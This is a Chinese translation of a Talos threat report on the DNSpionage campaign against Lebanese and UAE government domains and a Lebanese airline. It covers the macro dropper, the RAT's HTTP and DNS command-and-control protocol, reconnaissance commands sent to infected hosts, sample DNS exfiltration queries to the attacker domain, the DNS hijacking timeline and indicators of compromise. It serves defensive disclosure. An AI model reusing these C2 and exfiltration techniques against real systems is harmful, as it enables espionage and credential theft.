思科Talos公司最近发现了一个以影响.gov域名为攻击手段的安全事件,而此安全事件主要针对黎巴嫩和阿拉伯联合酋长国(阿联酋)以及一家私营的黎巴嫩航空公司。根据我们的研究,攻击者花费了许多时间来了解受害者的基础网络,以便能够在实施攻击的时候保持隐蔽性。
根据我们捕获到的攻击者基础设施情况以及TTP的详情,我们无法将此攻击事件同最近其余事件相联系。
此次攻击中,攻击者使用了两个虚假的恶意网站,其中一个网站包含了嵌入式的恶意Microsoft Office文档并用此来阻止目标作业的发布。我们称此攻击软件为“DNSpionage”,而此软件支持受害者与攻击者的HTTP和DNS进行通信。
在某些攻击事件中,攻击者往往使用相同的IP来重定向合法的.gov和私有域的DNS。每次在DNS工作期间,攻击者都会为重定向的域生成了Let加密证书,并为用户免费提供X.509 TLS证书。然而,我们目前还并不知道DNS重定向是否能够成功。
在这篇文章中,我们将分析攻击者的手段,并展示他们如何使用恶意文档来诱骗用户打开伪装成求职者的“求职”网站。 此外,我们将详细叙述DNS重定向事件的攻击时间轴。
攻击者在攻击初始时使用了两个恶意网站,而此两个网站模仿了合法网站的工作列表:
hr-wipro[.]com (with a redirection to wipro.com)
hr-suncor[.]com (with a redirection to suncor.com)
这些站点托管了恶意的Microsoft Office文档:hxxp://hrsuncor[.]com/Suncor_employment_form[.]doc.
该文件存在于加拿大可持续能源公司Suncor Energy网站,并且此网站提供了合法文件的副本,其中包含恶意的代码。
此时,我们并不知道目标是如何收到这些链接的。 攻击者很可能通过电子邮件发送恶意文档并使用鱼叉式网络钓鱼攻击。但它也可以通过社交媒体平台(如LinkedIn)进行恶意传播,以试图使新发布的工作机会合法化。
打开第一个Office文档后,用户会收到一条消息“可用的内容模式”:
分析攻击样本我们可以将其攻击分为以下两个部分:
打开文档时,宏将解码成为由base64编码的PE文件,并将其从%UserProfile%\ .oracServices \ svchost_serv.doc
中删除。
当文档关闭时,宏将文件“svchost_serv.doc
”重命名为“svchost_serv.exe
”。 然后,宏创建一个名为“chromium updater v 37.5.0
”的计划任务,以便执行二进制文件。 计划任务每分钟立即执行一次。
这两个步骤的目的是避免沙盒检测。
有效负载在Microsoft Office关闭时执行,这意味着需要人工交互才能部署它。 这些宏虽然可通过分析获得,但在Microsoft Word中却受密码保护,以阻止受害者通过Microsoft Office查看宏代码。
此外,宏使用经典的字符串混淆以避免字符串检测:
“schedule.service
”字符串由一系列事件共同创建。 最终的有效负载是一个名为“DNSpionage”的远程管理工具。
恶意文档中存在的恶意软件是并没有记录过的远程管理工具。 因为它支持DNS通道作为与攻击者设施进行通信的隐蔽通道,所以我们将其命名为DNSpionage。
DNSpionage
在运行目录中创建自己的数据:
%UserProfile%\.oracleServices/
%UserProfile%\.oracleServices/Apps/
%UserProfile%\.oracleServices/Configure.txt
%UserProfile%\.oracleServices/Downloads/
%UserProfile%\.oracleServices/log.txt
%UserProfile%\.oracleServices/svshost_serv.exe
%UserProfile%\.oracleServices/Uploads/
攻击者使用Downloads目录存储从C2服务器下载的其他脚本和工具。
在将文件转发到C2服务器之前,攻击者使用Uploads目录临时存储文件。
log.txt文件包含文本日志。
所有执行的命令都被记录在该文件中,它还包含命令的执行结果。
最后一个文件是Configure.txt
。 正如所料,此文件包含恶意软件的配置清单。 攻击者可以指定自定义命令和控制(C2)服务器URL,以及充当DNS通道的域。 此外,攻击者可以指定自定义base64字母表进行混淆。 我们发现攻击者为每个目标均设立了自定义字母。
所有数据都以JSON格式传输。 这就是为什么恶意软件的大部分代码都是JSON库的原因。
恶意软件使用HTTP和DNS以与C2服务器通信。
使用base64编码的随机数据执行DNS请求(到0ffice36o [.] com)。 此请求注册到受感染的系统并接收HTTP服务器的IP(调查期间,其IP地址为185.20.184.138)。 DNS请求的示例:
yyqagfzvwmd4j5ddiscdgjbe6uccgjaq[.]0ffice36o[.]com
恶意软件能够制作用于向攻击者提供进一步信息的DNS请求。 以下是请求示例:
oGjBGFDHSMRQGQ4HY000[.]0ffice36o[.]com
在此上下文中,前四个字符由恶意软件使用rand()
随机生成。 然后,域的其余部分在base32中编码,一旦解码,值则被设置为1Fy2048
。 “Fy”是目标的ID,“2048”(0x800)表示“未找到配置文件”。 如果未在受感染的计算机上检索到配置文件,则会执行该请求。 这是用于通知攻击者的消息。
恶意软件执行初始HTTP请求时在hxxp://IP/Client/Login?id=Fy
检索其配置。
此请求将用于创建配置文件,尤其是设置自定义base64字典。
第二个HTTP请求是hxxp://IP/index.html?id=XX
(其中“XX”是受感染系统的ID)
此请求的目的是检索订单。 该网站是一个虚假的维基百科页面:
这些命令包含在页面的源代码中:
在此示例中,命令使用标准base64算法进行编码,因为我们没有收到自定义字母表。 以下是配置文件中自定义字母表的另一个示例:
以下是自动发送到受感染系统的三个命令:
{"c": "echo %username%", "i": "-4000", "t": -1, "k": 0}
{"c": "hostname", "i": "-5000", "t": -1, "k": 0}
{"c": "systeminfo | findstr /B /C:\"Domain\"", "i": "-6000", "t": -1, "k": 0}
恶意软件在执行这些命令后生成以下代码段:
攻击者要求使用用户名和主机名来检索受感染用户的域。 第一步显然是前期阶段。 数据最终被发送到hxxp://IP/Client/Upload
。
最后,攻击者使用CreateProcess()
函数执行命令,并将输出重定向到使用CreatePipe()
创建的恶意软件的管道中。
该恶意软件还支持仅DNS模式。 在此模式下,订单和结论通过DNS处理。 此选项在受感染计算机上的configure.txt
文件中被指定。 使用DNS有时可以更容易地将信息发送回攻击者,因为它通常会利用DNS协议来避免代理或Web过滤。
首先,恶意软件启动DNS查询以请求订单,例如:
RoyNGBDVIAA0[.]0ffice36o[.]com
我们必须忽略前四个字符,如本文前面提到的随机生成字符,相关数据是GBDVIAA0
。 其解码值(base32)是“0GT \ x00
”。 GT是目标ID,\ x00是请求号。 C2服务器回复DNS请求,而此请求包括了一个IP地址,虽然此IP地址并不总是有效的,但DNS协议完全可以对此接受,例如0.1.0.3
。我们认为第一个值(0x0001)是下一个DNS请求的命令ID,0x0003是命令的大小。
其次,恶意软件使用命令ID执行DNS查询:
t0qIGBDVIAI0[.]0ffice36o[.]com (GBDVIAI0 => "0GT\x01")
C2服务器将返回一个新的IP地址:100.105.114.0
。 如果我们转换ASCII中的值,我们使用要执行的命令“dir \ x00”。
最后,执行命令的结果将由多个DNS请求发送:
gLtAGJDVIAJAKZXWY000.0ffice36o[.]com -> GJDVIAJAKZXWY000 -> "2GT\x01 Vol"
TwGHGJDVIATVNVSSA000.0ffice36o[.]com -> GJDVIATVNVSSA000 -> "2GT\x02ume"
1QMUGJDVIA3JNYQGI000.0ffice36o[.]com -> GJDVIA3JNYQGI000 -> "2GT\x03in d"
iucCGJDVIBDSNF3GK000.0ffice36o[.]com -> GJDVIBDSNF3GK000 -> "2GT\x04rive"
viLxGJDVIBJAIMQGQ000.0ffice36o[.]com -> GJDVIBJAIMQGQ000 -> "2GT\x05 C h"
[...]
由于DNS渗透和思科公司的研究,我们能够确定一些受害者的来源以及10月和11月的攻击事件大致内容。 这是我们上面提到的DNS-0ffice36o [.] com
的图表:
此次访问是在黎巴嫩和阿联酋进行的。 此信息在下一节中描述的DNS重定向中确认。
Talos发现了三个与DNSpionage域相关联的IP:
这三个IP由DeltaHost托管。
最后一个IP与9月到11月之间的DNS重定向攻击有关。黎巴嫩和阿联酋多个公共部门的域名服务器以及黎巴嫩的一些公司受到了攻击,其控制下的主机名指向攻击者控制的IP地址。攻击者将主机名重定向到IP 185.20.187.8
,并持续了一小段时间。在IP被重定向之前,攻击者使用Let加密服务创建了与域名匹配的证书。
在本节中,我们将介绍我们识别的所有DNS重定向实例以及与每个实例关联的攻击者证书。我们不知道重定向攻击最终是否能成功,或DNS重定向服务的确切目的。但是,此次攻击影响十分巨大,因为攻击者能够拦截在此期间发往这些主机名的所有流量。由于攻击者专门针对电子邮件和VPN流量,因此此类攻击可被用于收集其他一些隐私信息,例如电子邮件和/或VPN凭据。
由于我们收到的电子邮件也会到达攻击者的IP地址,所以如果其中有多因素的身份验证,那么它将允许攻击者滥用MFA代码。由于攻击者能够访问到电子邮件的内容,他们可以进行额外的攻击甚至对目标进行勒索行为。
我们识别到DNS重定向发生在多个地方。然而在这些攻击点中我们没有发现基础架构。 它也发生在公共和私营部门。 因此,我们认为这不是人为错误,也不是任何受影响组织中的管理用户的错误。 这是攻击者故意重定向DNS的恶意企图。
Talos发现黎巴嫩财政部的电子邮件域是恶意DNS重定向的受害者之一。
webmail.finance.gov.lb
于11月6日06:19:13 GMT重定向到185.20.187.8
。 在同一天05:07:25,创建了Let's Encrypt证书。阿联酋的公共领域部门也是目标之一。 我们从警察局(VPN和学院)和电信监管局确定了一个域名。
adpvpn.adpolice.gov.ae
于9月13日格林尼治标准时间06:39:39重定向至185.20.187.8。 同一天在05:37:54创建了Let's Encrypt证书。
mail.mgov.ae
于9月15日格林威治标准时间07:17:51重定向至185.20.187.8
。 我们还在格林威治标准时间06:15:51创建了一个Let的加密证书。
mail.apc.gov.ae
于9月24日重定向至185.20.187.8
。我们还在格林威治标准时间05:41:49创建了一个Let's加密证书。
Talos发现,黎巴嫩中东航空公司(MEA)也是DNS重定向的受害者之一。
memail.mea.com.lb
于11月14日格林尼治标准时间11:58:36重定向至185.20.187.8
此证书包含主题行中的某些备用名称。DNS的一项功能就是允许将多个域添加到SSL活动的证书中:
上述内容清楚地展示了受害者的域名情况,使我们相信攻击者在这些环境中活跃地攻击事实,并了解他们需要生成的特定域名和证书详情。
根据我们的调查,我们发现了两个事件:DNSpionage恶意软件和DNS重定向攻击事件。在恶意软件事件中,我们不知道确切的目标,但我们知道攻击者追踪黎巴嫩和阿联酋的用户。然而,如上所述,我们能够追踪到重定向事件的攻击目标。
根据我们的调查,我们非常坚定地认为此次两个事件均出自同一个组织之手。但是,我们对此攻击者的位置及其确切动机知之甚少。很明显,这个攻击者能够在两个月内从两个不同国家的政府以及一家黎巴嫩国家航空公司的所有域进行重定向DNS。通过使用DNS泄漏和重定向,他们能够从系统的角度使用Windows恶意软件以及网络来进行恶意行为。目前还不清楚这些DNS重定向攻击是否已经成功,但攻击者仍在进行攻击,到目前为止,攻击者已经发起了五次攻击,其中包括过去两周内的攻击。
用户应使用这些攻击事件作为其端点保护和网络保护的强大证据。 此次事件的攻击发起者是一名厉害的角色,显然他们的目标定在一些重要的组织上,他们似乎不会很结束自己的攻击。
Snort规则48444和48445将阻止DNSpionage进行出站连接。
我们的客户可以用如下方法进行保护:
高级恶意软件防护(AMP)非常适合防止这些恶意软件的执行。
思科云网络安全(CWS)或网络安全设备(WSA)Web扫描可防止访问恶意网站并检测这些攻击中使用的恶意软件。
电子邮件安全可以阻止攻击者通过邮件进行传播木马。
下一代防火墙(NGFW),下一代入侵防御系统(NGIPS)和Meraki MX等网络安全设备可以检测与此威胁相关的恶意活动。 AMP Threat Grid有助于识别恶意二进制文件并为所有思科安全产品构建保护。 Umbrella,我们的安全互联网网关(SIG)可以阻止用户连接到恶意域,IP和URL。 开源的SNORTⓇ用户规则客户可以通过下载在Snort.org上购买的最新规则包来提供安全保障。
以下IOC与在分析相关恶意活动期间观察到的各种恶意软件事件相关联。
虚假网站
hr-wipro[.]com
hr-suncor[.]com
恶意文件
9ea577a4b3faaf04a3bddbfcb934c9752bed0d0fc579f2152751c5f6923f7e14 (LB submit)
15fe5dbcd31be15f98aa9ba18755ee6264a26f5ea0877730b00ca0646d0f25fa (LB submit)
DNSpionage样例
2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec 82285b6743cc5e3545d8e67740a4d04c5aed138d9f31d7c16bd11188a2042969
45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff
C2服务器IP
185.20.184.138
185.20.187.8
185.161.211.72
C2服务器域名
0ffice36o[.]com
DNS域(指向185.20.187.8)
2018-11-14 : memail.mea.com.lb
2018-11-06 : webmail.finance.gov.lb
2018-09-24 : mail.apc.gov.ae
2018-09-15 : mail.mgov.ae
2018-09-13 : adpvpn.adpolice.gov.ae
MEA证书中的域名(185.20.187.8):
memail.mea.com.lb
autodiscover.mea.com.lb
owa.mea.com.lb
www.mea.com.lb
autodiscover.mea.aero
autodiscover.meacorp.com.lb
mea.aero
meacorp.com.lb
memailr.meacorp.com.lb
meoutlook.meacorp.com.lb
tmec.mea.com.lb
本文为翻译稿,原文为https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html